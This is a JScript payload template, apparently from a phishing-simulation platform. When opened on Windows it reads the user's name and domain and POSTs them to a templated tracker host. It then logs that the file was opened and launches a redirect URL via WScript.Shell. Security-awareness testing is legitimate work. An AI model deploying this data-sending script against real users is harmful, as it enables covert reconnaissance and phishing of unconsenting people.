var net = new ActiveXObject('WScript.NetWork');
var username = net.UserName;
var host = net.UserDomain;

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");

//POST request to send data to the form
var tamp = WinHttpReq.Open("POST", "{{tracker.url}}", false);
WinHttpReq.setRequestHeader("Content-Type", "application/json");

var dates = "{\"sfty\":\"macro_enabled\",\"sfuid\":\"{{user.id}}\",\"sfcid\":\"{{campaign.id}}\",\"data\":{\"user\":\"" + username + "\",\"host\":\"" + host + "\"}}";
WinHttpReq.send(dates);


//GET request that the file has been started
//  Create an HTTP request.
var temp = WinHttpReq.Open("GET", "{{ tracker.url }}?sfcid={{campaign.id}}&sfuid={{user.id}}&sfty=open_js_file", false);
//  Send the HTTP request.
WinHttpReq.Send();
//  Retrieve the response text.
strResult = WinHttpReq.ResponseText;


//Open page
var resdir = '{{redirectTo}}'
if (resdir == '') {
  //Open picture
  //var sh = new ActiveXObject("WScript.Shell");
  //sh.Run('URL_JPG', 1, false);
} else {
  var url = '{{redirectTo}}?sfcid={{campaign.id}}&sfuid={{user.id}}'
  var shell = new ActiveXObject('WScript.Shell');
  shell.run(url);
}
